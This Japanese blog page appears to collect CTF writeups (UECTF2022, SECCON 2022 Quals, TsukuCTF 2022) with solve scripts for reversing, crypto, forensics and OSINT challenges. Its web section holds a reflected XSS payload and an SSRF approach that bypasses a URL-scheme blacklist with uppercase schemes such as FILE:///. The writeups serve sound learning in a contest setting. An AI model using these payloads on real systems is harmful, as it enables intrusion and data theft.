idc.create_insn 関数の仕様について
IDAPythonの idc.create_insn
関数の仕様について知らず *1 、少し詰まったので備忘録も兼ねて記録を残しておきます。
idc.create_insn
関数がやること
- 引数で渡したアドレスをコードとして定義 / 変換する
IDAPythonスクリプトからコードアナライザを実行する方法
コードアナライザ単体を実行する方法は見つからなかった。指定した範囲のFull Analysisを実行する idc.plan_and_wait
関数を用いることで対応できる。ただし範囲が広ければ広いほど(また実行回数が多ければ多いほど)処理に時間がかかるため、何らかの工夫が必要。
*1:idcモジュールの公式ドキュメントになぜか項目が存在しない。
UECTF2022 Writeup
はじめに
3819点で9位(88人参加*1)でした。普段解いていないジャンルの問題も沢山解けて楽しかったです。運営の皆さん、ありがとうございました。
MISC
caesar (68 solves)
ガイウス・ユリウス・カエサル Gaius Iulius Caesar [caesar_source.py] [caesar_output.txt]
問題名から、シーザー暗号でFlagが暗号化されているのだろうと推測できました。caesar_source.py
の処理を確認してみると、通常のシーザー暗号とは異なるテーブルで変換していることがわかります。
ascii_all = '' for i in range(len(ascii_uppercase)): ascii_all = ascii_all + ascii_uppercase[i] + ascii_lowercase[i] letter = ascii_all + digits + punctuation
処理自体は複雑なものではないので、caesar_source.py
と逆の処理をするようなスクリプトを書いて実行することで、Flagが得られました。
from string import ascii_uppercase, ascii_lowercase, digits,punctuation def decode(ciphertext): plaintext = '' for i in ciphertext: index = letter.index(i) plaintext = plaintext + letter[(index - 14) % len(letter)] return plaintext ascii_all = '' for i in range(len(ascii_uppercase)): ascii_all = ascii_all + ascii_uppercase[i] + ascii_lowercase[i] letter = ascii_all + digits + punctuation with open('caesar_output.txt', 'r') as cipher_file: ciphertext = cipher_file.read() plaintext = decode(ciphertext[:-1]) print(plaintext)
UECTF{Th15_1s_a_b1t_Diff1Cult_c43seR}
redaction gone wrong 1 (71 solves)
NOBODY SHOULD JUST COPY AND PASTE MY FILES! 何人もコピペすべからず! [challenge.pdf]
LibreOffice Drawで challenge.pdf
を開き、PDF内のFlagを隠している黒い四角形を移動もしくは削除することでFlagが得られました。他にも解き方はたくさんあり...
- PDFをテキスト形式に変換するツールを使用する
- 問題文にて示唆されている通り、適当な場所をC&Pして内容をテキストファイルに貼り付ける
といった方法でも解けると思います。
UECTF{PDFs_AR3_D1ffiCulT_74d21e8}
redaction gone wrong 2 (54 solves)
We have found this image floating on the internet. Can you tell us what is the redacted text? インターネット上でこの画像を見つけた。隠されたテキストは何だろうか? [flag.png]
StegOnlineに flag.png
をアップロードして、"LSB Half" オプションを選択することでFlagが薄く見える状態になりました。
UECTF{N3ver_ever_use_A_p3n_rofl}
GIF1 (59 solves)
GIFアニメの中にフラグを隠したよ。え?隠れてないって?そんなぁ… I tried to hide the flag with GIF animation. Huh? Not hidden...? Oh no... [UEC_Anime.gif]
ffmpeg等のツールで UEC_Anime.gif
をフレームごとに画像ファイルに分割することで、Flagが含まれている画像ファイルが得られました。
ffmpeg -i UEC_Anime.gif -vsync 0 frame%d.png
UECTF{G1F_4N1M4T10NS_4R3_GR34T!!}
GIF2 (30 solves)
今度こそGIFアニメにフラグを隠したよ。人の目で見えるものだけが全てじゃないよ。 I tried to hide the flag in a GIF animation. It's not all about what people can see. [UECTF.gif]
StegOnlineに UECTF.gif
をアップロードして、"LSB Half" オプションを選択することでFlagが薄く見える状態になりました。
UECTF{TH1S_1S_TH3_3NTR4NC3_T0_ST3G4N0GR4PHY}
OSINT (13 solves)
There is this link to a Twitter account. However, Twitter says that "This account doesn’t exist." Could you somehow use your magic to find this person? I'm pretty sure he's still using Twitter. Thanks!! あるTwitterアカウントへのリンクがありました。アクセスすると"このアカウントは存在しません"と表示されて困っているんだ...😖 他の情報源によるとTwitterをまだやっているはずなんだけどなぁ🤔 https://twitter.com/__yata_nano__
Wayback MachineでURLを検索してみると、10月の時点のキャプチャが存在することがわかります。HTMLソースを確認してみると、アカウントIDを見つけることができました。
"additionalName": "__yata_nano__", "description": "", "givenName": "name", "homeLocation": { "@type": "Place", "name": "" }, "identifier": "1585261641125416961",
これをidtwiというサービスで検索することで現在のアカウントを特定することができました。
11月19日の午後7時59分のツイートに書かれているPastebinのURLにアクセスすることでFlagが得られます。
Congratulations!!!! Enter the password and get the 🚩.
— name (@ftceu) 2022年11月19日
password: qRh8EvEtFyhttps://t.co/Mb1ZOIbR6J pic.twitter.com/xWUdD0277A
UECTF{ur_a_tw1tter_mast3r__arent_y0u}
WHEREAMI (16 solves)
あなたの元に友人から「私はどこにいるでしょう?」という件名の謎の文字列が書かれたメールが送られてきました。 さて、これは何を示しているのでしょうか? You receive an email from your friend with a mysterious string of text with the subject line "Where am I?" Now, what does this indicate? [mail.txt]
ヒント: 彼はこの文字列はPlus codeだと言っていましたがよく分かりません。 He said it was a "plus code", but I have no idea what plus code is. Is any string with "+" character in it a "plus code"???
ヒントを確認することで、配布された mail.txt
内の文字列がPlus codeという場所を表すコードであることがわかります。それが約550個あり、かつ各コードの示す地点があまり離れていないことから、地図上にコードが示す地点をプロットしていくことで、Flagが得られると考えました。以下は配布ファイルを読み込み、それから得られた緯度・経度を folium
というライブラリを用いて地図上にプロットするスクリプトです。
from openlocationcode import openlocationcode as olc import folium PLUS_CODE_FILE = 'mail.txt' with open(PLUS_CODE_FILE, 'r') as pcfile: plus_code = pcfile.readlines() flag_map = folium.Map(tiles='OpenStreetMap') for pc in plus_code: decoded = olc.decode(pc[:-1]) folium.Marker(location=[decoded.latitudeLo, decoded.longitudeLo]).add_to(flag_map) flag_map
これをJupyter Notebookで実行することで、Flagが得られます。
UECTF{D1d_y0u_Kn0w_aB0ut_Km1?}
FORENSICS
Deleted (53 solves)
USBメモリに保存してたフラグの情報消しちゃった。このイメージファイルからどうにか取り出せないものか… I have deleted the flag information I saved on my USB stick. I wonder if there is any way to retrieve it from this image file... [image.raw]
FTK Imagerで配布されたイメージファイルを読み込むと、flag.png
というFlagが書かれたファイルを確認することができます。
UECTF{TH1S_1M4G3_H4S_N0T_B33N_D3L3T3D}
compare (33 solves)
新しくUECTFのロゴを作ったよ。え?元々あったロゴと同じじゃないかって?君はまだまだ甘いなぁ。 I made a new logo for UECTF. What, do you think it's the same as the original logo? You are still a bit naive. [UECTF_org.bmp] [UECTF_new.bmp]
2つのビットマップ画像が配布されていたので、とりあえず xxd
で16進数ダンプの状態にしたうえで、diff
で差分を見てみました。UECTF_new.bmp
にはFlagが1文字ずつ、数バイトごとに含まれていることがわかり、これを繋ぎ合わせるとFlagになります。
$ cat UECTF_org.bmp | xxd > org.txt $ cat UECTF_new.bmp | xxd > new.txt $ diff org.txt new.txt 6366c6366 < 00018dd0: ffff ffff ffff ffff ffff ffff ffff ffff ................ --- > 00018dd0: ffff ffff 55ff ffff ffff ffff ffff ffff ....U........... 6427c6427 < 000191a0: ffff ffff ffff ffff ffff ffff ffff ffff ................ --- > 000191a0: ff45 ffff ffff ffff ffff ffff ffff ffff .E.............. 6490c6490 < 00019590: ffff ffff ffff ffff ffff ffff ffff ffff ................ --- > 00019590: ffff ffff ffff ffff ffff ffff ffff 43ff ..............C. 6547c6547 < 00019920: ffff ffff ffff ffff ffff ffff ffff ffff ................ --- > 00019920: ffff ffff ffff ffff ffff ffff ffff ff54 ...............T 6588c6588 < 00019bb0: ffff ffff ffff ffff ffff ffff ffff ffff ................ --- > 00019bb0: ffff ffff ffff ffff 46ff ffff ffff ffff ........F....... 6628c6628 < 00019e30: ffff ffff ffff ffff ffff ffff ffff ffff ................ --- > 00019e30: ffff ffff ff7b ffff ffff ffff ffff ffff .....{..........
UECTF{compare_two_files_byte_by_byte}
discord1 (30 solves)
数日前、CTFの作問をやっている友達が送ってきたフラグの書かれた画像がいつの間にか消されていた。あれがあればこの問題にも正解できるはず… 調べたらDiscordのデータはこのフォルダに色々保存されているらしい。何とかして消された画像を見つけられないだろうか… A few days ago, a friend of mine who is doing a CTF composition question sent me an image with the flag written on it, which was deleted. If I had that one, I should be able to answer this question correctly... I checked and it seems that Discord data is stored in this folder. I wonder if there is any way to find the deleted image... [discord1.zip]
問題文から画像形式のFlagであること、Cache
というフォルダが怪しいことを踏まえて、以下のように strings
および grep
コマンドで画像ファイルのURLを探してみました。
$ strings Cache/* | grep media.discordapp.net/attach ... Fehttps://media.discordapp.net/attachments/1039034703644205099/1043039290101350401/flag.png?width=400&height=297 ...
Flagらしきファイルは他にもありましたが、上記のURLにアクセスすることでFlagが得られました。
UECTF{D1SC0RD_1S_V3RY_US3FUL!!}
discord2 (21 solves)
前に思いついたフラグ送信しようとして止めたんだけど、やっぱりあれが良かったなぁ… でもちゃんと思い出せないなぁ。このフォルダにはキャッシュとかも残ってるし、どこかに編集履歴みたいなの残ってないかなぁ… I tried to send to a friend the flag I thought of before and stopped, but I still liked that one... But I can't remember it properly. I'm sure there's a cache or something in this folder, and I'm wondering if there's some kind of edit history somewhere... [discord2.zip]
Local Storage/leveldb
内のファイルにFlagが含まれていました。総当たりで全てのディレクトリに strings <directory_name>/* | grep UECTF
していたのですが、Discordの編集中の内容をここから確認できることは初耳でした。勉強になります。
$ strings Local\ Storage/leveldb/* | grep UECTF
UECTF{Y0U_C4N_S33_Y0UR_DR4FT}
REV
A file (81 solves)
誰かがファイルの拡張子を消してしまった。どのような中身のファイルなのか? Someone erased a file extension. What contents is the file? [chall]
file
コマンドで配布ファイルを調べると、xz
アーカイブ形式であることがわかったので、ファイルの名前を変更した上で解凍しました。解凍後のELFファイルにFlagの文字列が含まれていました。
$ mv ./chall ./chall.xz $ unxz ./chall.xz $ strings ./chall | grep UECTF UECTF{Linux_c0mm4nDs_ar3_50_h3LPFU1!}
UECTF{Linux_c0mm4nDs_ar3_50_h3LPFU1!}
revPython (20 solves)
What does this pyc file do? これは? [a.cpython-39.pyc] [flag.jpg]
pycdcなどのツールを使用することで、(不完全ですが)配布されたPythonのバイトコードファイルをデコンパイルすることができます。
デコンパイル後のコードを読むと、ファイルを UECTF{
という鍵でXORエンコードしているような処理が読み取れるので、以下のようなデコードスクリプトを作成してみました。
実行後に生成される flag_out.jpg
からFlagが得られます。
FLAG_INPUT_FILE = 'flag.jpg' FLAG_OUTPUT_FILE = 'flag_out.jpg' prefix = b'UECTF{' with open(FLAG_INPUT_FILE, 'rb') as flag_file: flag_dat = bytearray(flag_file.read()) for i in range(len(flag_dat)): flag_dat[i] ^= prefix[i % len(prefix)] with open(FLAG_OUTPUT_FILE, 'wb') as decoded_file: decoded_file.write(flag_dat)
UECTF{oh..did1s0meh0wscr3wup??}
captain-hook (21 solves)
haha, good luck solving this 運も実力のうち! [captainhook]
IDAで captainhook
を静的解析すると、XORデコードしていそうな処理が見つかったので、以下のようなデコードスクリプトを書いて解きました。
encoded = bytes.fromhex('58960A710308090860BE247A2D1C163A69BA2D7A3C1C143A7EBC2553202C150D64A0765845') key = 0x656173452549D30D flag = '' for i in range(0x25): a = ((i & 7) << 3) & 0xff flag += chr((encoded[i] ^ (key >> a)) & 0xff) print(flag)
UECTF{hmmmm_how_did_you_solve_this?}
dotnet (11 solves)
簡単にデコンパイルできるフレームワークを使って書いたので、難読化を施しました。 なので、難読化が正しく行われていれば秘密情報にはアクセスできないはずです・・・ (アプリケーションはLinux-x64で動作させることを想定しています) I obfuscated this because I made this using an easily decompilable framework. So, if the obfuscation is done correctly, the secret information should not be accessible... (The application is intended to run on Linux-x64) [chall_x86_64_linux]
まず binwalk
コマンドで chall_x86_64
に含まれているDLLファイルを全て抽出しました。
$ binwalk --dd="microsoft executable" chall_x86_64_linux --rm
たくさんのDLLファイルが抽出できますが、"Original Filename" が "UECTF2022_dotnet.dll" であるファイルが解析対象であると推測することができます。
問題文から、難読化が施されていると予想できたので、de4dot というツールを使用して難読化を解除しました。
> .\de4dot.exe .\A48B70 de4dot v3.1.41592.3405 Detected Unknown Obfuscator (C:\REDACTED\A48B70) Cleaning C:\REDACTED\A48B70 Renaming all obfuscated symbols Saving C:\REDACTED\A48B70-cleaned
dnSpy等のツールに生成されたDLLファイルを読み込んで解析すると、XORエンコードらしき処理が読み取れるので、デコードスクリプトを書いて実行したところ、Flagが得られました。
encoded = [255, 238, 235, 253, 232, 212, 237, 221, 210, 207, 201, 194, 199, 211, 205, 202, 212, 200, 149, 218, 204, 218, 221, 201, 215, 215, 157, 198, 223, 195, 220, 152, 206, 228, 252, 231, 235, 251, 161, 227, 231, 230, 228, 172, 242, 232, 169, 231, 255, 182, 254, 236, 242, 243, 229, 176, 226, 225, 255, 229, 243, 244, 224, 240, 142, 202, 149] flag = '' for i in range(len(encoded)): flag += chr(encoded[i] ^ i ^ 170) print(flag)
UECTF{Applications-created-with-Dotnet-need-to-be-fully-protected!}
discrete (16 solves)
Jumping around in memory 記憶の中でジャンプする [chall]
angrでシンボリック実行を適用することでFlagを得ることができました。
import angr EXEC_NAME = './chall' FLAG_ADDR = 0x402144 # puts("Correct!"); p = angr.Project(EXEC_NAME, load_options={"auto_load_libs": False}) state = p.factory.entry_state() simgr = p.factory.simulation_manager(state) simgr.explore(find=FLAG_ADDR) try: flag = simgr.found[0].posix.dumps(0) print(flag[:flag.find(b'\x00')].decode()) except IndexError: print("Something went wrong :(")
UECTF{dynamic_static_strings_2022}
WEB
webapi (42 solves)
サーバーからフラグを取ってきて表示する web ページを作ったけど、上手く動かないのはなんでだろう? I created a web page that fetches flags from the server and displays them, but why doesn't it work? http://uectf.uec.tokyo:4447
FLAG_URL
という定数に代入されているURLを開くことでFlagが得られました。
</div> </body> <script> const FLAG_URL = 'https://i5omltk3rg2vbwbymc73hnpey40eowfq.lambda-url.ap-northeast-1.on.aws/'; fetch(FLAG_URL) .then(data => { document.getElementsByClassName('flag-data')[0].innerText = data;
UECTF{cors_is_browser_feature}
request-validation (21 solves)
GET リクエストでオブジェクトを送ることはできますか? ※ まずは、自分の環境でフラグ取得を確認してください。 Can you request a object? First, please check the flag acquisition in your environment. http://uectf.uec.tokyo:4446 [request-validation.tar.gz]
GETリクエストのパラメータ q
の型が object
の場合のみ、Flagを返すようなWebアプリケーションが題材となった問題でした。
if (req.query.q && typeof req.query.q === 'object') { res.send(FLAG) } else { res.send('invalid request') }
全く事前知識がなかったので、とりあえず javascript object
と検索すると、以下のページを見つけることができました。
なんと、JavaScriptの typeof
では配列等を渡した場合、 object
としか返されないらしいです。これを利用すれば良いと直感的に理解したので、以下のようなスクリプトを書いて実行してみたところ、Flagが得られました。
import requests TARGET_URL = 'http://uectf.uec.tokyo:4446' PAYLOAD = {'q': [1, 2, 3, 4, 5]} req = requests.get(TARGET_URL, PAYLOAD) print(req.text)
UECTF{javascript_is_difficult_dee36611556508c702805b45289d0f65}
CRYPTO
RSA (57 solves)
RSA暗号でフラグを暗号化してみました!解読してみてください。 I encrypted the flag with the RSA cipher! Please try to decode it. [output.txt] [rsa_source.py]
output.txt
に含まれている p
, q
, e
, cipher text
を RsaCtfTool に渡して実行すると、Flagが得られました。
$ python3 RsaCtfTool.py --uncipher 40407051770242960331089168574985439308267920244282326945397 -p 1023912815644413192823405424909 -q 996359224633488278278270361951 -e 65537 private argument is not set, the private key will not be displayed, even if recovered. Results for /tmp/tmpyznhht1g: Unciphered data : HEX : 0x55454354467b5253412d69532d566552792d35314d7031657d INT (big endian) : 535251971441201547690579709091650584058216076608475543725437 INT (little endian) : 787118965001959771733939931024213066609133944657257179596117 utf-8 : UECTF{RSA-iS-VeRy-51Mp1e} STR : b'UECTF{RSA-iS-VeRy-51Mp1e}' HEX : 0x55454354467b5253412d69532d566552792d35314d7031657d INT (big endian) : 535251971441201547690579709091650584058216076608475543725437 INT (little endian) : 787118965001959771733939931024213066609133944657257179596117 utf-8 : UECTF{RSA-iS-VeRy-51Mp1e} STR : b'UECTF{RSA-iS-VeRy-51Mp1e}'
UECTF{RSA-iS-VeRy-51Mp1e}
さいごに
pwnが全然解けなかったし、頭の回転も遅いので、もっと勉強しないといけないと思いました。頑張ります。 :innocent:
*1:WELCOME問を解いた人数
SECCON CTF 2022 Quals Writeup
はじめに
ソロで参加して700チーム*1中145位でした。他参加者のWriteupを読むのが楽しくて、公開が遅れてしまいましたが、今回解けたreversingの2問のWriteupを共有できればと思います。
運営の皆さま、素晴らしいCTFを開催いただき、ありがとうございます!
babycmp (176 solves)
Crackme系の問題でよく見る、渡したコマンドライン引数を検証してFlagかどうか判定するプログラムが配布されていました。
angrでシンボリック実行を適用することでFlagを得ることができました
import angr import claripy EXEC_NAME = './chall.baby' FLAG_ADDR = 0x4012CC # puts("Correct!"); p = angr.Project(EXEC_NAME, load_options={"auto_load_libs": False}) argv1 = claripy.BVS("argv1", 100*8) state = p.factory.entry_state(args=[EXEC_NAME, argv1]) simgr = p.factory.simulation_manager(state) simgr.explore(find=FLAG_ADDR) try: found = simgr.found[0] solution = found.solver.eval(argv1, cast_to=bytes) flag = solution[:solution.find(b"\x00")].decode() print(flag) except IndexError: print("Something went wrong :(")
SECCON{y0u_f0und_7h3_baby_flag_YaY}
eguite (86 solves)
Rustで書かれたGUIアプリケーションが配布されていました。IDAで静的解析したところ、 eguite::Crackme::onclick::ha26112793d42c9d8
という興味深い関数を見つけることができます。処理を読んでみると、まず入力が SECCON{
で始まること、そして入力の 0x2b 文字目が }
であるか検証していることがわかります。
ここでgdbをアタッチした状態でアプリケーションを実行し、先述した関数の適当な場所にブレークポイントを設置したうえで、適当な入力(例: SECCON{0123456789abcdefghijklmnopqrstuvwxy}
を与えてみます。するとブレークポイントを設置した場所で実行が停止するので、そこからステップ実行していき、正しいと思われる(戻り値が0にならない)処理が実行されるよう入力を調整していくことで、以下の情報を得ることができます
- Flagは
SECCON{AAAAAAAAAAAA-BBBBBB-CCCCCC-DDDDDDDD}
のような形式 AAA...
やBBB...
は数値 (16進数で表記)- Flagが正しいか判定するために、以下のチェックが行われる
AAA...
+BBB...
==0x8B228BF35F6A
CCC...
+BBB...
==0xE78241
DDD...
+CCC...
==0xFA4C1A9F
AAA...
+DDD...
==0x8B238557F7C8
BBB...
^CCC...
^DDD...
==0xF9686F4D
以上の情報をもとに、各値を求めることでFlagが得られます。
from z3 import * s = Solver() p1 = BitVec("p1", 8 * 6) p2 = BitVec("p2", 8 * 6) p3 = BitVec("p3", 8 * 6) p4 = BitVec("p4", 8 * 6) s.add(p1 + p2 == 0x8B228BF35F6A) s.add(p3 + p2 == 0xE78241) s.add(p4 + p3 == 0xFA4C1A9F) s.add(p1 + p4 == 0x8B238557F7C8) s.add(p2 ^ p3 ^ p4 == 0xF9686F4D) if s.check() == z3.sat: flag1 = hex(s.model()[p1].as_long())[2:].zfill(12) flag2 = hex(s.model()[p2].as_long())[2:].zfill(6) flag3 = hex(s.model()[p3].as_long())[2:].zfill(6) flag4 = hex(s.model()[p4].as_long())[2:].zfill(8) print('[+] SECCON{' + flag1 + '-' + flag2 + '-' + flag3 + '-' + flag4 + '}') else: print('[-] Something went wrong :(')
SECCON{8b228b98e458-5a7b12-8d072f-f9bf1370}
さいごに
残念ながら解けていないのですが*2、今回特に "DoroboH" という問題から色々な学びを得ることができました。検証してわかったことも色々あるので、何らかの形でアウトプットすることができればと思っています。
TsukuCTF 2022 Writeup
チーム mopisec
としてソロで参加して7258pts (23位)でした。解けなかった問題も含め、試したこと・解法・反省点などをまとめています。
- Tsukushi
- OSINT
- Attack of Tsukushi (215 solves)
- Money (199 solves)
- FlyMeToTheTsukushi (169 solves)
- inuyama082 (142 solves)
- sky (113 solves)
- station (110 solves)
- douro (101 solves)
- Where (98 solves)
- Gorgeous Interior Bus (83 solves)
- Bringer_of_happpiness (75 solves)
- Desk (69 solves)
- TakaiTakai (53 solves)
- PaperJack (51 solves)
- banana (44 solves)
- Robot (33 solves)
- Flash (26 solves)
- Web
- Reversing
Tsukushi
Welcome (378 solves)
Please join our Discord!
Discordの #🚩-welcome-to-tsukuctf
のトピック欄にFlagが書かれていました。
TsukuCTF22{Welcome_to_TsukuCTF_2022!!!!}
OSINT
Attack of Tsukushi (215 solves)
つくしくんはある観光地を調査した際に訪れた駅で写真を撮影した。果たしてこの写真が撮られた駅はどこだろうか?
Google Lensで画像を検索することで、写真がJR日田駅で撮影されたものだとわかります。
TsukuCTF22{8770013}
Money (199 solves)
どこ?
Google Lensで画像を検索することで、写真が金閣寺で撮影されたものだとわかります。
TsukuCTF22{6038361}
FlyMeToTheTsukushi (169 solves)
つくし君は、はるばる飛行機で愛するパートナーのもとへやってきました。
ここはどこの空港かわかりますか?
A350という機体名が見えるので、その機体を運用している空港を総当たりすることで解けます。
TsukuCTF22{福岡}
inuyama082 (142 solves)
つくし君は愛知県犬山市にデートに来た時の思い出の写真を見返しています。 おいしそうな写真を見つけ、おやつが食べたくなりました。 写真のおやつの名前を教えてください。
Google Lensで画像ファイルを検索することで、「犬山カフェよあけや」というお店の「和チーズケーキ&抹茶」というスイーツだとわかります。ただしそれだけでは不十分らしく、カフェの公式サイトに書いてある ver.煎茶パウダー
を付け足すことで、正答となりました。
すごく美味しそうなので、愛知県に行った際には是非立ち寄りたいと思います!
TsukuCTF22{和チーズケーキ ver.煎茶パウダー}
sky (113 solves)
帰ってくるあなたが最高のプレゼント。つくし君は電車にガタゴト揺られています。次の停車駅で降りるようなのですが、どこかわかりますか?
座席の収納棚の中に「名鉄沿線おでかけマガジンWind」という情報誌が入っています。配布場所は名鉄各駅と空港特急ミュースカイ車内のみらしいので、空港特急ミュースカイの停車駅を総当たりすることで解けます。
TsukuCTF22{名鉄名古屋}
station (110 solves)
つくし君はとある駅で友達を待っています。さて、つくし君はどこの駅にいるでしょうか?
最初の文字が見切れていますが、...郷7丁目
, ...郷13丁目
, ...郷18丁目
という駅名らしき文字列が写真に含まれています。
駅名を検索することで、恐らく見切れている文字は 南
であること、そしてその路線が 東西線
であることがわかります。一番上の見切れている駅名 ...前
が答えだと推測し、南郷7丁目
など他の駅名の位置から 西11丁目
が答えであるとわかりました。
TsukuCTF22{西11丁目}
douro (101 solves)
旅行中のつくし君は迷子になってしまったようです。うつむいています。送られてきた写真から場所を特定できますか?
道路上のデザインから よいほモール
という文字列が読み取れるので、Google Map (およびそのストリートビュー)で検索して、撮影地点を特定した。
TsukuCTF22{34.5770_136.5309}
Where (98 solves)
北海道に住んでいるつくしさんは東京旅行に行った際に高層ビルの窓から写真を撮りました。
でも撮影した場所を忘れてしまったようです。この写真が撮影された場所について建物名を教えてあげてください。
東日本銀行など、目立つ看板から情報を集め、Google Earthで調べたところ、撮影地点が「渋谷パルコ」だとわかりました。
TsukuCTF22{1973/06/14}
Gorgeous Interior Bus (83 solves)
観光地に来たつくし君は、豪華なバスを見かけたので、それに乗って観光することにしました。 その時、つくし君のお母さんから「どこにいるの?」と連絡が着ましたが、おっちょこちょいなつくし君は、観光地の名前も、乗っているバスの路線も忘れてしまい、とっさに車内の写真を撮って、「ここ」と返信しました。 つくしくんはどこにいるのでしょうか? つくしくんが写真を撮ったところに最も近い交差点の名前を特定してください。
正面のモニター内の情報から、バスが「...スパあたみ」へ向かっていることがわかります。また次のバス停が「...水公園」だということもわかります。
以上の情報をもとに、Google Map上で調査することで、最も近い交差点が「東海岸町」であることがわかります。
TsukuCTF22{東海岸町}
Bringer_of_happpiness (75 solves)
つくしくんは荷物を運び終えて休憩してるときに撮った写真。さて撮影場所はどこだろう?
Google Lensで画像を検索することで写っている黄色い電車が島原鉄道のものだとわかります。島原鉄道の駅を一つずつGoogle Map (およびストリートビュー)で調べると、写真に写っている駅が「島原港駅」であることもわかります。撮影地点の緯度・経度(駅から若干ずれている)を調べて回答することで、正答となりました。
TsukuCTF22{32.7693_130.3707}
Desk (69 solves)
つくし君の大好きなお姉さんのデスクを見学させてもらったよ。 さて、このデスクはどこにあるのだろうか?
机の上のクリアファイル内の資料から、写真が恐らく沖縄県で撮影されたものだとわかりました。また、席札内のロゴが「南城市」のものであるとわかりました。
南城市に関係する施設(市役所など)のうち、南城市観光協会の郵便番号を試したところ、正答となった。
TsukuCTF22{9011511}
TakaiTakai (53 solves)
日本の町は美しい。撮影地を答えてください。
フラグはこの建物の開業日(YYYY/MM/DD)です。たとえば、東京スカイツリーの開業日は2012年5月22日なので、フラグは
TsukuCTF22{2012/05/22}
となります。
文字情報が見当たらず、解くまでにかなり時間を使ってしまった問題でした。写真右奥の建物をGoogle Lensを使って「中目黒アトラスタワー」だと突き止めた後、Google Earthを使って周辺の建物と写真内の建物を見比べて、少しずつ候補となる建物を絞っていき、最終的に撮影地点が「渋谷ソラスタ」だとわかりました。
TsukuCTF22{2019/03/29}
PaperJack (51 solves)
イケメンのつくしくんは訪れている場所の写真をSNSに投稿したところ、ストーカーに特定されてしまった。ストーカー曰く「好きなゲームと新聞がコラボしたときの広告にこの場所が映っていたのを思い出した」とのことだった。
「ゲーム 新聞 広告 観光名所」のようなキーワードで調べてみると、"Fate/Grand Order" というゲームの5周年記念でそのような企画があったとわかり、撮影場所が和歌山県の道成寺であると突き止めることができた。
TsukuCTF22{6491331}
banana (44 solves)
Google Lensで画像を検索することで、撮影場所がグアムの「デデド朝市会場」のトイレであることがわかった。周辺の緯度経度を何度か提出することで正答となった。
TsukuCTF22{13.5209_144.8287}
Robot (33 solves)
つくし君がロボット見学に訪れた施設はどこ?
写真に写っているイベント名や建物の名前(中国語)を検索することで、华南理工大学の英語表記である "South China University of Technology" が答えであることがわかった。
TsukuCTF22{South China University of Technology}
Flash (26 solves)
つくし君からマイコンボードを借りたら、このマイコンを使って実験を行ったホテルと部屋番号がわかってしまった!! マイコンのフラッシュメモリから読みだしたデータを渡すので、ホテル名と部屋番号を特定してください。
ESP32というマイコンのフラッシュメモリから読みだしたデータが配布されていました。データの解析手法について調べるとesp32_image_parserというツールキットを発見することができました。
このツールを使って、データからNVS(Non Volatile Storage)領域をJSON形式で抽出したところ、Wi-FiのSSIDを確認することができました。
$ python3 esp32_image_parser.py dump_nvs Flash.bin -partition nvs -nvs_output_type json ... {"entry_state": "Written", "entry_ns_index": 2, "entry_ns": "nvs.net80211", "entry_type": "BLOB_DATA", "entry_span": 3, "entry_chunk_index": 128, "entry_key": "sta.ssid", "entry_data_type": "BLOB_DATA", "entry_data_size": 36, "entry_data": "DAAAAGFwYS0zMTYtMjQyOAAAAAAAAAAAAAAAAAAAAAAAAAAA"}, ... $ echo "DAAAAGFwYS0zMTYtMjQyOAAAAAAAAAAAAAAAAAAAAAAAAAAA" | base64 -d apa-316-2428
SSID内の apa
および問題文にある「ホテル」という情報から、アパホテルのNo. 316、つまり「アパホテル&リゾート〈両国駅タワー〉」であり、残った2428は部屋番号であると推測することができました。
TsukuCTF22{アパホテル&リゾート〈両国駅タワー〉_2428}
Web
bughunter (86 solves)
天才ハッカーのつくし君は、どんなサイトの脆弱性でも見つけることができます。 あなたも彼のようにこのサイトの脆弱性を見つけることができますか? 見つけたら私たちに報告してください。
問題サーバにアクセスすると「超絶安全なサイト」というWebページを確認することができます。
ページ上の情報から、URLの末尾に ?tsukushi=<script>alert(document.domain)</script>
を付け足してアクセスしてみると、想定通りalertを発火させることができました。
どうすればFlagを得られるのか考えていると、公式のDiscordにて運営の方が
と書き込まれていたので、スコアサーバを再度確認したところ問題に RFC9116
というタグが付けられていました。そこで .well-known/security.txt
にアクセスしたところ、Flagを見つけることができました。
TsukuCTF22{y0u_c4n_c47ch_bu65_4ll_y34r_r0und_1n_7h3_1n73rn37}
viewer (8 solves; not solved)
Writeups for TsukuCTF21 have been published. Check them out if you'd like!
問題サーバにアクセスすると、TsukuCTF21のWriteupを閲覧することができるWebアプリケーションが動作していることがわかります。
ソースコード (app/app.py
) を読むと、POSTされたURLにPycURLでアクセスして、取得したデータを返すような機能が実装されていることがわかります。
if request.method == "POST": url = url_sanitizer(request.form.get("url")) buf = BytesIO() try: c = pycurl.Curl() c.setopt(c.URL, url) c.setopt(c.WRITEDATA, buf) c.perform() c.close() body = buf.getvalue().decode('utf-8') except Exception as e: traceback.print_exc() abort("error occurs") return render_template("index.html", url=url, data=response_sanitizer(body), name=name) return render_template("index.html", data=None, name=name)
処理の流れを順を追ってみていきます。まずPOSTされたURLは url_sanitizer
関数によってサニタイズされています。
# only 'http' and 'https' should have been allowed, right? # ref: https://everything.curl.dev/cmdline/urls/scheme#supported-schemes blacklist_of_scheme = ['dict', 'file', 'ftp', 'gopher', 'imap', 'ldap', 'mqtt', 'pop3', 'rtmp', 'rtsp', 'scp', 'smb', 'smtp', 'telnet'] def url_sanitizer(uri: str) -> str: if len(uri) == 0 or any([scheme in uri for scheme in blacklist_of_scheme]): return "https://fans.sechack365.com" return uri
http
, https
以外のスキームがURLに含まれていた場合、https://fans.sechack365.com
が返されてしまうようです。これは GOPHER
や FILE
のように、スキームを大文字で表記することで回避できると思いつきました。
次にPycURLでURLにアクセスし、取得したデータを response_sanitizer
関数によってサニタイズしています。
# a response is also sanitized just in case because the flag is super sensitive information. blacklist_in_response = ['TsukuCTF22'] def response_sanitizer(body: str) -> str: if any([scheme in body for scheme in blacklist_in_response]): return "SANITIZED: a sensitive data is included!" return body
このため、例え FILE:///var/www/app.py
のようなURLをPOSTしたとしても、Flagを取得することはできません。*1
実はFlagはWebアプリケーションが実行されたタイミングでRedisにも格納されています。
# initialization redis = redis.Redis(host='redis', port=6379, db=0) flag = "TsukuCTF22{dummy flag}" # the flag is replaced a real flag in a production environment. id = str(uuid.uuid4()) redis.set(id, json.dumps({"id": id, "name": flag}))
そこでRedisに格納されているFlagをSSRFで読み出そうと思ったのですが、名前の登録を行った時点で、Flagが消滅してしまうことがわかりました。
